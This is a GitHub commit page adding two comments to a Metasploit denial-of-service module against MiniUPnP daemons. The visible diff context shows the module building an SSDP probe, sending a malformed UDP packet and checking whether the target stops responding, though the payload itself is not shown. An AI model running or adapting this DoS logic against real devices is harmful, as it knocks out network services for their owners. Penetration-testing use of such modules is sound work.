Skip to content

Commit 154894b

Browse files
committed
Added comments and merged jvazquez-r7-miniupnp_dos_clean branch.
1 parent ec52795 commit 154894b

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

modules/auxiliary/dos/upnp/miniupnpd_dos.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,7 @@ def send_probe(udp_sock, probe)
5353
end
5454

5555
def run
56+
# the M-SEARCH probe packet that tries to identify whether the service is up or not
5657
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
5758
msearch_probe << "Host:239.255.255.250:1900\r\n"
5859
msearch_probe << "ST:upnp:rootdevice\r\n"
@@ -89,6 +90,7 @@ def run
8990
print_status("#{rhost}:#{rport} - Sending malformed packet...")
9091
udp_sock.put(sploit)
9192

93+
# send the probe to the target
9294
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
9395
response = send_probe(udp_sock, msearch_probe)
9496
if response.nil?

0 commit comments

Comments
 (0)